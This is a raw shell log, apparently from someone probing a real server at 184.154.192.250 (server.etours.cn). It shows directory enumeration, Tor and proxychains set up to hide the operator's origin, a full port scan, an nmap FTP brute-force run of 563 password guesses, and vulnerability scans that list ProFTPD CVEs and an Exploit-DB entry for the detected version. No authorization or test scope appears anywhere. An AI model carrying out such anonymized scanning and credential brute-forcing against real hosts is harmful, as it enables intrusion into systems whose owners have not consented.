  1256. ---- Entering directory: http://184.154.192.250/blog/wp-admin/ ----
  1257. + http://184.154.192.250/blog/wp-admin/admin.php (CODE:302|SIZE:0)
  1258. + http://184.154.192.250/blog/wp-admin/admin.pl (CODE:403|SIZE:954)
  1259. + http://184.154.192.250/blog/wp-admin/index.php (CODE:302|SIZE:0)
  1260.  
  1261. ---- Entering directory: http://184.154.192.250/blog/wp-content/ ----
  1262. + http://184.154.192.250/blog/wp-content/admin.pl (CODE:403|SIZE:954)
  1263. + http://184.154.192.250/blog/wp-content/index.php (CODE:200|SIZE:0)
  1264.  
  1265. ---- Entering directory: http://184.154.192.250/blog/wp-includes/ ----
  1266. + http://184.154.192.250/blog/wp-includes/admin.pl (CODE:403|SIZE:954)
  1267. + http://184.154.192.250/blog/wp-includes/index.php (CODE:301|SIZE:0)
  1268.  
  1269. ---- Entering directory: http://184.154.192.250/Blog/0/ ----
  1270. + http://184.154.192.250/Blog/0/index.php (CODE:301|SIZE:0)
  1271.  
  1272. ---- Entering directory: http://184.154.192.250/Blog/2011/ ----
  1273. + http://184.154.192.250/Blog/2011/13 (CODE:200|SIZE:13756)
  1274. + http://184.154.192.250/Blog/2011/14 (CODE:200|SIZE:13756)
  1275. + http://184.154.192.250/Blog/2011/15 (CODE:200|SIZE:13756)
  1276. + http://184.154.192.250/Blog/2011/20 (CODE:200|SIZE:13756)
  1277. + http://184.154.192.250/Blog/2011/21 (CODE:200|SIZE:13756)
  1278. + http://184.154.192.250/Blog/2011/22 (CODE:200|SIZE:13756)
  1279. + http://184.154.192.250/Blog/2011/23 (CODE:200|SIZE:13756)
  1280. + http://184.154.192.250/Blog/2011/24 (CODE:200|SIZE:13756)
  1281. + http://184.154.192.250/Blog/2011/25 (CODE:200|SIZE:13756)
  1282. + http://184.154.192.250/Blog/2011/30 (CODE:200|SIZE:13756)
  1283. + http://184.154.192.250/Blog/2011/32 (CODE:200|SIZE:13756)
  1284. + http://184.154.192.250/Blog/2011/42 (CODE:200|SIZE:13756)
  1285. + http://184.154.192.250/Blog/2011/50 (CODE:200|SIZE:13756)
  1286. + http://184.154.192.250/Blog/2011/51 (CODE:200|SIZE:13756)
  1287. + http://184.154.192.250/Blog/2011/64 (CODE:200|SIZE:13756)
  1288. + http://184.154.192.250/Blog/2011/96 (CODE:200|SIZE:13756)
  1289. + http://184.154.192.250/Blog/2011/atom (CODE:301|SIZE:0)
  1290. + http://184.154.192.250/Blog/2011/index.php (CODE:301|SIZE:0)
  1291. + http://184.154.192.250/Blog/2011/page1 (CODE:301|SIZE:0)
  1292. + http://184.154.192.250/Blog/2011/page2 (CODE:301|SIZE:0)
  1293. + http://184.154.192.250/Blog/2011/rdf (CODE:301|SIZE:0)
  1294. + http://184.154.192.250/Blog/2011/rss (CODE:301|SIZE:0)
  1295. + http://184.154.192.250/Blog/2011/rss2 (CODE:301|SIZE:0)
  1296.  
  1297. ---- Entering directory: http://184.154.192.250/Blog/2012/ ----
  1298. + http://184.154.192.250/Blog/2012/13 (CODE:200|SIZE:13756)
  1299. + http://184.154.192.250/Blog/2012/14 (CODE:200|SIZE:13756)
  1300. + http://184.154.192.250/Blog/2012/15 (CODE:200|SIZE:13756)
  1301. + http://184.154.192.250/Blog/2012/20 (CODE:200|SIZE:13756)
  1302. + http://184.154.192.250/Blog/2012/21 (CODE:200|SIZE:13756)
  1303. + http://184.154.192.250/Blog/2012/22 (CODE:200|SIZE:13756)
  1304. + http://184.154.192.250/Blog/2012/23 (CODE:200|SIZE:13756)
  1305. + http://184.154.192.250/Blog/2012/24 (CODE:200|SIZE:13756)
  1306. + http://184.154.192.250/Blog/2012/25 (CODE:200|SIZE:13756)
  1307. + http://184.154.192.250/Blog/2012/30 (CODE:200|SIZE:13756)
  1308. + http://184.154.192.250/Blog/2012/32 (CODE:200|SIZE:13756)
  1309. + http://184.154.192.250/Blog/2012/42 (CODE:200|SIZE:13756)
  1310. + http://184.154.192.250/Blog/2012/50 (CODE:200|SIZE:13756)
  1311. + http://184.154.192.250/Blog/2012/51 (CODE:200|SIZE:13756)
  1312. + http://184.154.192.250/Blog/2012/64 (CODE:200|SIZE:13756)
  1313. + http://184.154.192.250/Blog/2012/96 (CODE:200|SIZE:13756)
  1314. + http://184.154.192.250/Blog/2012/atom (CODE:301|SIZE:0)
  1315. + http://184.154.192.250/Blog/2012/index.php (CODE:301|SIZE:0)
  1316. + http://184.154.192.250/Blog/2012/page1 (CODE:301|SIZE:0)
  1317. + http://184.154.192.250/Blog/2012/page2 (CODE:301|SIZE:0)
  1318. + http://184.154.192.250/Blog/2012/rdf (CODE:301|SIZE:0)
  1319. + http://184.154.192.250/Blog/2012/rss (CODE:301|SIZE:0)
  1320. + http://184.154.192.250/Blog/2012/rss2 (CODE:301|SIZE:0)
  1321.  
  1322. ---- Entering directory: http://184.154.192.250/Blog/embed/ ----
  1323. + http://184.154.192.250/Blog/embed/index.php (CODE:301|SIZE:0)
  1324.  
  1325. ---- Entering directory: http://184.154.192.250/Blog/feed/ ----
  1326. + http://184.154.192.250/Blog/feed/feed (CODE:301|SIZE:0)
  1327. + http://184.154.192.250/Blog/feed/index.php (CODE:301|SIZE:0)
  1328. + http://184.154.192.250/Blog/feed/rss (CODE:301|SIZE:0)
  1329. + http://184.154.192.250/Blog/feed/rss2 (CODE:301|SIZE:0)
  1330.  
  1331. ---- Entering directory: http://184.154.192.250/Blog/uncategorized/ ----
  1332. + http://184.154.192.250/Blog/uncategorized/atom (CODE:301|SIZE:0)
  1333. + http://184.154.192.250/Blog/uncategorized/index.php (CODE:301|SIZE:0)
  1334. + http://184.154.192.250/Blog/uncategorized/page1 (CODE:301|SIZE:0)
  1335. + http://184.154.192.250/Blog/uncategorized/rdf (CODE:301|SIZE:0)
  1336. + http://184.154.192.250/Blog/uncategorized/rss (CODE:301|SIZE:0)
  1337. + http://184.154.192.250/Blog/uncategorized/rss2 (CODE:301|SIZE:0)
  1338.  
  1339. ---- Entering directory: http://184.154.192.250/contact-us/_notes/ ----
  1340. + http://184.154.192.250/contact-us/_notes/admin.pl (CODE:403|SIZE:954)
  1341. + http://184.154.192.250/contact-us/_notes/atom (CODE:301|SIZE:0)
  1342. + http://184.154.192.250/contact-us/_notes/index.php (CODE:301|SIZE:0)
  1343. + http://184.154.192.250/contact-us/_notes/rdf (CODE:301|SIZE:0)
  1344. + http://184.154.192.250/contact-us/_notes/rss (CODE:301|SIZE:0)
  1345. + http://184.154.192.250/contact-us/_notes/rss2 (CODE:301|SIZE:0)
  1346.  
  1347. ---- Entering directory: http://184.154.192.250/feed/atom/ ----
  1348. + http://184.154.192.250/feed/atom/atom (CODE:301|SIZE:0)
  1349. + http://184.154.192.250/feed/atom/feed (CODE:301|SIZE:0)
  1350. + http://184.154.192.250/feed/atom/index.php (CODE:301|SIZE:0)
  1351. + http://184.154.192.250/feed/atom/rdf (CODE:301|SIZE:0)
  1352. + http://184.154.192.250/feed/atom/rss (CODE:301|SIZE:0)
  1353. + http://184.154.192.250/feed/atom/rss2 (CODE:301|SIZE:0)
  1354.  
  1355. ---- Entering directory: http://184.154.192.250/feed/rdf/ ----
  1356. + http://184.154.192.250/feed/rdf/atom (CODE:301|SIZE:0)
  1357. + http://184.154.192.250/feed/rdf/feed (CODE:301|SIZE:0)
  1358. + http://184.154.192.250/feed/rdf/index.php (CODE:301|SIZE:0)
  1359. + http://184.154.192.250/feed/rdf/rdf (CODE:301|SIZE:0)
  1360. + http://184.154.192.250/feed/rdf/rss (CODE:301|SIZE:0)
  1361. + http://184.154.192.250/feed/rdf/rss2 (CODE:301|SIZE:0)
  1362.  
  1363. ---- Entering directory: http://184.154.192.250/include/_notes/ ----
  1364. + http://184.154.192.250/include/_notes/admin.pl (CODE:403|SIZE:954)
  1365. + http://184.154.192.250/include/_notes/atom (CODE:301|SIZE:0)
  1366. + http://184.154.192.250/include/_notes/index.php (CODE:301|SIZE:0)
  1367. + http://184.154.192.250/include/_notes/rdf (CODE:301|SIZE:0)
  1368. + http://184.154.192.250/include/_notes/rss (CODE:301|SIZE:0)
  1369. + http://184.154.192.250/include/_notes/rss2 (CODE:301|SIZE:0)
  1370.  
  1371. ---- Entering directory: http://184.154.192.250/test/file/ ----
  1372. + http://184.154.192.250/test/file/admin.pl (CODE:403|SIZE:954)
  1373. + http://184.154.192.250/test/file/atom (CODE:301|SIZE:0)
  1374. + http://184.154.192.250/test/file/index.php (CODE:301|SIZE:0)
  1375. + http://184.154.192.250/test/file/rdf (CODE:301|SIZE:0)
  1376. + http://184.154.192.250/test/file/rss (CODE:301|SIZE:0)
  1377. + http://184.154.192.250/test/file/rss2 (CODE:301|SIZE:0)
  1378.  
  1379. ---- Entering directory: http://184.154.192.250/test/images/ ----
  1380. + http://184.154.192.250/test/images/admin.pl (CODE:403|SIZE:954)
  1381. + http://184.154.192.250/test/images/atom (CODE:301|SIZE:0)
  1382. + http://184.154.192.250/test/images/index.php (CODE:301|SIZE:0)
  1383. + http://184.154.192.250/test/images/rdf (CODE:301|SIZE:0)
  1384. + http://184.154.192.250/test/images/rss (CODE:301|SIZE:0)
  1385. + http://184.154.192.250/test/images/rss2 (CODE:301|SIZE:0)
  1386. + http://184.154.192.250/test/images/Thumbs.db (CODE:200|SIZE:27648)
  1387.  
  1388. ---- Entering directory: http://184.154.192.250/time/Image/ ----
  1389. + http://184.154.192.250/time/Image/admin.pl (CODE:403|SIZE:954)
  1390. + http://184.154.192.250/time/Image/atom (CODE:301|SIZE:0)
  1391. + http://184.154.192.250/time/Image/index.php (CODE:301|SIZE:0)
  1392. + http://184.154.192.250/time/Image/rdf (CODE:301|SIZE:0)
  1393. + http://184.154.192.250/time/Image/rss (CODE:301|SIZE:0)
  1394. + http://184.154.192.250/time/Image/rss2 (CODE:301|SIZE:0)
  1395.  
  1396. ---- Entering directory: http://184.154.192.250/uncategorized/feed/ ----
  1397. + http://184.154.192.250/uncategorized/feed/feed (CODE:301|SIZE:0)
  1398. + http://184.154.192.250/uncategorized/feed/index.php (CODE:301|SIZE:0)
  1399. + http://184.154.192.250/uncategorized/feed/rss (CODE:301|SIZE:0)
  1400. + http://184.154.192.250/uncategorized/feed/rss2 (CODE:301|SIZE:0)
  1401.  
  1402. ---- Entering directory: http://184.154.192.250/WEB-INF/classes/ ----
  1403. + http://184.154.192.250/WEB-INF/classes/admin.pl (CODE:403|SIZE:954)
  1404. + http://184.154.192.250/WEB-INF/classes/atom (CODE:301|SIZE:0)
  1405. + http://184.154.192.250/WEB-INF/classes/index.php (CODE:301|SIZE:0)
  1406. + http://184.154.192.250/WEB-INF/classes/rdf (CODE:301|SIZE:0)
  1407. + http://184.154.192.250/WEB-INF/classes/rss (CODE:301|SIZE:0)
  1408. + http://184.154.192.250/WEB-INF/classes/rss2 (CODE:301|SIZE:0)
  1409.  
  1410. ---- Entering directory: http://184.154.192.250/WEB-INF/lib/ ----
  1411. + http://184.154.192.250/WEB-INF/lib/admin.pl (CODE:403|SIZE:954)
  1412. + http://184.154.192.250/WEB-INF/lib/atom (CODE:301|SIZE:0)
  1413. + http://184.154.192.250/WEB-INF/lib/index.php (CODE:301|SIZE:0)
  1414. + http://184.154.192.250/WEB-INF/lib/rdf (CODE:301|SIZE:0)
  1415. + http://184.154.192.250/WEB-INF/lib/rss (CODE:301|SIZE:0)
  1416. + http://184.154.192.250/WEB-INF/lib/rss2 (CODE:301|SIZE:0)
  1417.  
  1418. ---- Entering directory: http://184.154.192.250/works/flash/ ----
  1419. + http://184.154.192.250/works/flash/admin.pl (CODE:403|SIZE:954)
  1420. + http://184.154.192.250/works/flash/atom (CODE:301|SIZE:0)
  1421. + http://184.154.192.250/works/flash/index.php (CODE:301|SIZE:0)
  1422. + http://184.154.192.250/works/flash/rdf (CODE:301|SIZE:0)
  1423. + http://184.154.192.250/works/flash/rss (CODE:301|SIZE:0)
  1424. + http://184.154.192.250/works/flash/rss2 (CODE:301|SIZE:0)
  1425.  
  1426. ---- Entering directory: http://184.154.192.250/works/images/ ----
  1427. + http://184.154.192.250/works/images/admin.pl (CODE:403|SIZE:954)
  1428. + http://184.154.192.250/works/images/atom (CODE:301|SIZE:0)
  1429.  
  1430.  
  1431.  
  1432. INSTALL TOR
  1433.  
  1434. root@blackbox:~# apt-get install tor
  1435.  
  1436. START TOR
  1437.  
  1438. root@blackbox:~# service tor start
  1439.  
  1440. CHECK TOR STATUS
  1441.  
  1442. root@blackbox:~# service tor status
  1443.  
  1444.  
  1445. CHECK IF ANONYMITY WORKS
  1446.  
  1447. root@blackbox:~# proxychains curl http://icanhazip.com
  1448. ProxyChains-3.1 (http://proxychains.sf.net)
  1449. |DNS-request| icanhazip.com
  1450. |S-chain|-<>-127.0.0.1:9050-<><>-4.2.2.2:53-<><>-OK
  1451. |DNS-response| icanhazip.com is 104.20.16.242
  1452. |S-chain|-<>-127.0.0.1:9050-<><>-104.20.16.242:80-<><>-OK
  1453. 89.234.157.254
  1454.  
  1455.  
  1456. START NMAP THROUGH PROXYCHAINS
  1457.  
  1458. root@blackbox:/opt# proxychains nmap -p 1-65535 -T4 -A -v 184.154.192.250 -Pn --open
  1459.  
  1460. Discovered open port 443/tcp on 184.154.192.250
  1461. Discovered open port 110/tcp on 184.154.192.250
  1462. Discovered open port 995/tcp on 184.154.192.250
  1463. Discovered open port 53/tcp on 184.154.192.250
  1464. Discovered open port 111/tcp on 184.154.192.250
  1465. Discovered open port 554/tcp on 184.154.192.250
  1466. Discovered open port 143/tcp on 184.154.192.250
  1467. Discovered open port 22/tcp on 184.154.192.250
  1468. Discovered open port 25/tcp on 184.154.192.250
  1469. Discovered open port 993/tcp on 184.154.192.250
  1470. Discovered open port 3306/tcp on 184.154.192.250
  1471. Discovered open port 80/tcp on 184.154.192.250
  1472. Discovered open port 587/tcp on 184.154.192.250
  1473. Discovered open port 21/tcp on 184.154.192.250
  1474. Discovered open port 106/tcp on 184.154.192.250
  1475. Discovered open port 746/tcp on 184.154.192.250
  1476. Discovered open port 7070/tcp on 184.154.192.250
  1477. Discovered open port 8443/tcp on 184.154.192.250
  1478. Discovered open port 465/tcp on 184.154.192.250
  1479. Discovered open port 8880/tcp on 184.154.192.250
  1480.  
  1481.  
  1482. NMAP NSE FTP
  1483.  
  1484. root@blackbox:/opt# ls /usr/share/nmap/scripts/ | grep ftp
  1485. ftp-anon.nse
  1486. ftp-bounce.nse
  1487. ftp-brute.nse
  1488. ftp-libopie.nse
  1489. ftp-proftpd-backdoor.nse
  1490. ftp-syst.nse
  1491. ftp-vsftpd-backdoor.nse
  1492. ftp-vuln-cve2010-4221.nse
  1493. tftp-enum.nse
  1494.  
  1495. root@blackbox:/opt# proxychains nmap -oN ftp.nmap --script "ftp-brute" --script-args= -d -Pn -v -p 21 184.154.192.250
  1496.  
  1497. PORT STATE SERVICE REASON
  1498. 21/tcp open ftp syn-ack ttl 49
  1499. | ftp-brute:
  1500. | Accounts: No valid accounts found
  1501. |_ Statistics: Performed 563 guesses in 618 seconds, average tps: 1.1
  1502. Final times for host: srtt: 145410 rttvar: 145410 to: 727050
  1503.  
  1504.  
  1505. root@blackbox:~# nmap -sV -Pn 184.154.192.250 --open
  1506. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:21 CST
  1507. Nmap scan report for server.etours.cn (184.154.192.250)
  1508. Host is up (0.15s latency).
  1509. Not shown: 981 closed ports, 1 filtered port
  1510. Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
  1511. PORT STATE SERVICE VERSION
  1512. 21/tcp open ftp ProFTPD 1.3.3e
  1513. 22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
  1514. 25/tcp open smtp qmail smtpd
  1515. 53/tcp open domain (unknown banner: none)
  1516. 80/tcp open http Apache httpd (PleskLin)
  1517. 106/tcp open pop3pw poppassd
  1518. 110/tcp open pop3 Courier pop3d
  1519. 111/tcp open rpcbind 2 (RPC #100000)
  1520. 143/tcp open imap Courier Imapd (released 2004)
  1521. 443/tcp open ssl/https?
  1522. 465/tcp open ssl/smtps?
  1523. 554/tcp open tcpwrapped
  1524. 587/tcp open smtp qmail smtpd
  1525. 993/tcp open ssl/imaps?
  1526. 995/tcp open ssl/pop3s?
  1527. 3306/tcp open mysql MySQL 5.0.77
  1528. 7070/tcp open tcpwrapped
  1529. 8443/tcp open ssl/https-alt sw-cp-server
  1530. 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
  1531. SF-Port53-TCP:V=7.80%I=7%D=1/22%Time=5E28AEC7%P=x86_64-pc-linux-gnu%r(DNSV
  1532. SF:ersionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version\x
  1533. SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04none\xc0\x0c\
  1534. SF:0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
  1535. Service Info: Host: localhost.localdomain; OS: Unix
  1536.  
  1537. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  1538. Nmap done: 1 IP address (1 host up) scanned in 39.36 seconds
  1539.  
  1540.  
  1541. root@blackbox:/opt# cd /usr/share/nmap/scripts/
  1542. root@blackbox:/usr/share/nmap/scripts# git clone https://github.com/vulnersCom/nmap-vulners.git
  1543. root@blackbox:/usr/share/nmap/scripts# git clone https://github.com/scipag/vulscan.git
  1544. root@blackbox:/usr/share/nmap/scripts# ls -la vulscan/*.csv
  1545. -rw-r--r-- 1 root root 16756993 Jan 21 04:59 vulscan/cve.csv
  1546. -rw-r--r-- 1 root root 1864748 Jan 21 04:59 vulscan/exploitdb.csv
  1547. -rw-r--r-- 1 root root 1524310 Jan 21 04:59 vulscan/openvas.csv
  1548. -rw-r--r-- 1 root root 6718903 Jan 21 04:59 vulscan/osvdb.csv
  1549. -rw-r--r-- 1 root root 7001128 Jan 21 04:59 vulscan/scipvuldb.csv
  1550. -rw-r--r-- 1 root root 7227028 Jan 21 04:59 vulscan/securityfocus.csv
  1551. -rw-r--r-- 1 root root 1826138 Jan 21 04:59 vulscan/securitytracker.csv
  1552. -rw-r--r-- 1 root root 4576711 Jan 21 04:59 vulscan/xforce.csv
  1553.  
  1554. root@blackbox:/usr/share/nmap/scripts# cd vulscan/
  1555. root@blackbox:/usr/share/nmap/scripts/vulscan# cd utilities/
  1556. root@blackbox:/usr/share/nmap/scripts/vulscan/utilities# cd updater/
  1557. root@blackbox:/usr/share/nmap/scripts/vulscan/utilities/updater# chmod +x updateFiles.sh
  1558. root@blackbox:/usr/share/nmap/scripts/vulscan/utilities/updater# ./updateFiles.sh
  1559. Downloading https://raw.githubusercontent.com/scipag/vulscan/master/cve.csv...
  1560. Downloading https://raw.githubusercontent.com/scipag/vulscan/master/exploitdb.csv...
  1561. Downloading https://raw.githubusercontent.com/scipag/vulscan/master/openvas.csv...
  1562. Downloading https://raw.githubusercontent.com/scipag/vulscan/master/osvdb.csv...
  1563. Downloading https://raw.githubusercontent.com/scipag/vulscan/master/scipvuldb.csv...
  1564. Downloading https://raw.githubusercontent.com/scipag/vulscan/master/securityfocus.csv...
  1565. Downloading https://raw.githubusercontent.com/scipag/vulscan/master/securitytracker.csv...
  1566. Downloading https://raw.githubusercontent.com/scipag/vulscan/master/xforce.csv...
  1567. Returning 0, as no files have been updated, but script ran successfully
  1568.  
  1569.  
  1570. root@blackbox:/usr/share/nmap/scripts/vulscan/utilities/updater# cd ..
  1571. root@blackbox:/usr/share/nmap/scripts/vulscan/utilities# cd ..
  1572. root@blackbox:/usr/share/nmap/scripts/vulscan# cd ..
  1573.  
  1574.  
  1575. root@blackbox:/usr/share/nmap/scripts# nmap --script nmap-vulners -sV -p21 184.154.192.250
  1576. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:23 CST
  1577. Nmap scan report for server.etours.cn (184.154.192.250)
  1578. Host is up (0.037s latency).
  1579.  
  1580. PORT STATE SERVICE VERSION
  1581. 21/tcp open ftp ProFTPD 1.3.3e
  1582. Service Info: OS: Unix
  1583.  
  1584. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  1585. Nmap done: 1 IP address (1 host up) scanned in 4.06 seconds
  1586.  
  1587. root@blackbox:/usr/share/nmap/scripts# nmap --script nmap-vulners -sV -p22 184.154.192.250
  1588. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:23 CST
  1589. Nmap scan report for server.etours.cn (184.154.192.250)
  1590. Host is up (0.036s latency).
  1591.  
  1592. PORT STATE SERVICE VERSION
  1593. 22/tcp open tcpwrapped
  1594.  
  1595. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  1596. Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds
  1597.  
  1598.  
  1599. root@blackbox:/usr/share/nmap/scripts# nmap --script vulscan -sV -p21 184.154.192.250
  1600. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 14:23 CST
  1601. Nmap scan report for server.etours.cn (184.154.192.250)
  1602. Host is up (0.036s latency).
  1603.  
  1604. PORT STATE SERVICE VERSION
  1605. 21/tcp open ftp ProFTPD 1.3.3e
  1606. | vulscan: VulDB - https://vuldb.com:
  1607. | [59589] ProFTPD up to 1.3.3 Use-After-Free memory corruption
  1608. | [4290] ProFTPD up to 1.3.3 mod_sftpd Big Payload denial of service
  1609. | [56304] ProFTPD up to 1.3.3 contrib/mod_sql.c) sql_prepare_where memory corruption
  1610. | [138380] ProFTPD 1.3.5b mod_copy Code Execution
  1611. | [81624] ProFTPD up to 1.3.5a/1.3.6rc1 mod_tls mod_tls.c weak encryption
  1612. | [75436] ProFTPD 1.3.4e/1.3.5 mod_copy File privilege escalation
  1613. | [10259] ProFTPD 1.3.4/1.3.5 mod_sftp/mod_sftp_pam kbdint.c resp_count denial of service
  1614. | [7244] ProFTPD up to 1.3.4 MKD/XMKD Command race condition
  1615. | [55410] ProFTPD 1.3.2/1.3.3 Telnet netio.c pr_netio_telnet_gets memory corruption
  1616. | [55392] ProFTPD up to 1.3.2 pr_data_xfer denial of service
  1617. | [50631] ProFTPD 1.3.1/1.3.2/1.3.3 mod_tls unknown vulnerability
  1618. | [46500] ProFTPD 1.3.1 mod_sql_mysql sql injection
  1619. | [46499] ProFTPD 1.3.1/1.3.2/1.3.2 Rc2 mod_sql sql injection
  1620. | [44191] ProFTPD 1.3.1 FTP Command cross site request forgery
  1621. | [36309] ProFTPD 1.3.0 Rc1 mod_sql Plaintext unknown vulnerability
  1622. | [2747] ProFTPD 1.3.0/1.3.0a mod_ctrls pr_ctrls_recv_request memory corruption
  1623. | [33495] ProFTPD 1.3.0a Configuration File affected denial of service
  1624. | [2711] ProFTPD 1.3.0a mod_tls tls_x509_name_oneline memory corruption
  1625. | [2705] ProFTPD 1.3.0 main.c CommandBufferSize denial of service
  1626. |
  1627. | MITRE CVE - https://cve.mitre.org:
  1628. | [CVE-2011-4130] Use-after-free vulnerability in the Response API in ProFTPD before 1.3.3g allows remote authenticated users to execute arbitrary code via vectors involving an error that occurs after an FTP data transfer.
  1629. | [CVE-2011-1137] Integer overflow in the mod_sftp (aka SFTP) module in ProFTPD 1.3.3d and earlier allows remote attackers to cause a denial of service (memory consumption leading to OOM kill) via a malformed SSH message.
  1630. | [CVE-2010-4652] Heap-based buffer overflow in the sql_prepare_where function (contrib/mod_sql.c) in ProFTPD before 1.3.3d, when mod_sql is enabled, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted username containing substitution tags, which are not properly handled during construction of an SQL query.
  1631. | [CVE-2010-4221] Multiple stack-based buffer overflows in the pr_netio_telnet_gets function in netio.c in ProFTPD before 1.3.3c allow remote attackers to execute arbitrary code via vectors involving a TELNET IAC escape character to a (1) FTP or (2) FTPS server.
  1632. | [CVE-2010-3867] Multiple directory traversal vulnerabilities in the mod_site_misc module in ProFTPD before 1.3.3c allow remote authenticated users to create directories, delete directories, create symlinks, and modify file timestamps via directory traversal sequences in a (1) SITE MKDIR, (2) SITE RMDIR, (3) SITE SYMLINK, or (4) SITE UTIME command.
  1633. | [CVE-2009-3639] The mod_tls module in ProFTPD before 1.3.2b, and 1.3.3 before 1.3.3rc2, when the dNSNameRequired TLS option is enabled, does not properly handle a '\0' character in a domain name in the Subject Alternative Name field of an X.509 client certificate, which allows remote attackers to bypass intended client-hostname restrictions via a crafted certificate issued by a legitimate Certification Authority, a related issue to CVE-2009-2408.
  1634. | [CVE-2004-0529] The modified suexec program in cPanel, when configured for mod_php and compiled for Apache 1.3.31 and earlier without mod_phpsuexec, allows local users to execute untrusted shared scripts and gain privileges, as demonstrated using untainted scripts such as (1) proftpdvhosts or (2) addalink.cgi, a different vulnerability than CVE-2004-0490.
  1635. | [CVE-2012-6095] ProFTPD before 1.3.5rc1, when using the UserOwner directive, allows local users to modify the ownership of arbitrary files via a race condition and a symlink attack on the (1) MKD or (2) XMKD commands.
  1636. | [CVE-2009-0543] ProFTPD Server 1.3.1, with NLS support enabled, allows remote attackers to bypass SQL injection protection mechanisms via invalid, encoded multibyte characters, which are not properly handled in (1) mod_sql_mysql and (2) mod_sql_postgres.
  1637. | [CVE-2009-0542] SQL injection vulnerability in ProFTPD Server 1.3.1 through 1.3.2rc2 allows remote attackers to execute arbitrary SQL commands via a "%" (percent) character in the username, which introduces a "'" (single quote) character during variable substitution by mod_sql.
  1638. | [CVE-2008-7265] The pr_data_xfer function in ProFTPD before 1.3.2rc3 allows remote authenticated users to cause a denial of service (CPU consumption) via an ABOR command during a data transfer.
  1639. | [CVE-2008-4242] ProFTPD 1.3.1 interprets long commands from an FTP client as multiple commands, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks and execute arbitrary FTP commands via a long ftp:// URI that leverages an existing session from the FTP client implementation in a web browser.
  1640. | [CVE-2006-6563] Stack-based buffer overflow in the pr_ctrls_recv_request function in ctrls.c in the mod_ctrls module in ProFTPD before 1.3.1rc1 allows local users to execute arbitrary code via a large reqarglen length value.
  1641. | [CVE-2006-6171] ** DISPUTED ** ProFTPD 1.3.0a and earlier does not properly set the buffer size limit when CommandBufferSize is specified in the configuration file, which leads to an off-by-two buffer underflow. NOTE: in November 2006, the role of CommandBufferSize was originally associated with CVE-2006-5815, but this was an error stemming from a vague initial disclosure. NOTE: ProFTPD developers dispute this issue, saying that the relevant memory location is overwritten by assignment before further use within the affected function, so this is not a vulnerability.
  1642. | [CVE-2006-6170] Buffer overflow in the tls_x509_name_oneline function in the mod_tls module, as used in ProFTPD 1.3.0a and earlier, and possibly other products, allows remote attackers to execute arbitrary code via a large data length argument, a different vulnerability than CVE-2006-5815.
  1643. | [CVE-2006-5815] Stack-based buffer overflow in the sreplace function in ProFTPD 1.3.0 and earlier allows remote attackers, probably authenticated, to cause a denial of service and execute arbitrary code, as demonstrated by vd_proftpd.pm, a "ProFTPD remote exploit."
  1644. | [CVE-2005-4816] Buffer overflow in mod_radius in ProFTPD before 1.3.0rc2 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long password.
  1645. | [CVE-2005-2390] Multiple format string vulnerabilities in ProFTPD before 1.3.0rc2 allow attackers to cause a denial of service or obtain sensitive information via (1) certain inputs to the shutdown message from ftpshut, or (2) the SQLShowInfo mod_sql directive.
  1646. |
  1647. | SecurityFocus - https://www.securityfocus.com/bid/:
  1648. | [50631] ProFTPD Prior To 1.3.3g Use-After-Free Remote Code Execution Vulnerability
  1649. |
  1650. | IBM X-Force - https://exchange.xforce.ibmcloud.com:
  1651. | [80980] ProFTPD FTP commands symlink
  1652. | [71226] ProFTPD pool code execution
  1653. | [65207] ProFTPD mod_sftp module denial of service
  1654. | [64495] ProFTPD sql_prepare_where() buffer overflow
  1655. | [63658] ProFTPD FTP server backdoor
  1656. | [63407] mod_sql module for ProFTPD buffer overflow
  1657. | [63155] ProFTPD pr_data_xfer denial of service
  1658. | [62909] ProFTPD mod_site_misc directory traversal
  1659. | [62908] ProFTPD pr_netio_telnet_gets() buffer overflow
  1660. | [53936] ProFTPD mod_tls SSL certificate security bypass
  1661. | [48951] ProFTPD mod_sql username percent SQL injection
  1662. | [48558] ProFTPD NLS support SQL injection protection bypass
  1663. | [45274] ProFTPD URL cross-site request forgery
  1664. | [33733] ProFTPD Auth API security bypass
  1665. | [31461] ProFTPD mod_radius buffer overflow
  1666. | [30906] ProFTPD Controls (mod_ctrls) module buffer overflow
  1667. | [30554] ProFTPD mod_tls module tls_x509_name_oneline() buffer overflow
  1668. | [30147] ProFTPD sreplace() buffer overflow
  1669. | [21530] ProFTPD mod_sql format string attack
  1670. | [21528] ProFTPD shutdown message format string attack
  1671. | [19410] GProFTPD file name format string attack
  1672. | [18453] ProFTPD SITE CHGRP command allows group ownership modification
  1673. | [17724] ProFTPD could allow an attacker to obtain valid accounts
  1674. | [16038] ProFTPD CIDR entry ACL bypass
  1675. | [15387] ProFTPD off-by-one _xlate_ascii_write function buffer overflow
  1676. | [12369] ProFTPD mod_sql SQL injection
  1677. | [12200] ProFTPD ASCII file newline buffer overflow
  1678. | [10932] ProFTPD long PASS command buffer overflow
  1679. | [8332] ProFTPD mod_sqlpw stores passwords in the wtmp log file
  1680. | [7818] ProFTPD ls &quot
  1681. | [7816] ProFTPD file globbing denial of service
  1682. | [7126] ProFTPD fails to resolve hostnames
  1683. | [6433] ProFTPD format string
  1684. | [6209] proFTPD /var symlink
  1685. | [6208] ProFTPD contains configuration error in postinst script when running as root
  1686. | [5801] proftpd memory leak when using SIZE or USER commands
  1687. | [5737] ProFTPD system using mod_sqlpw unauthorized access
  1688. |
  1689. | Exploit-DB - https://www.exploit-db.com:
  1690. | [16878] ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
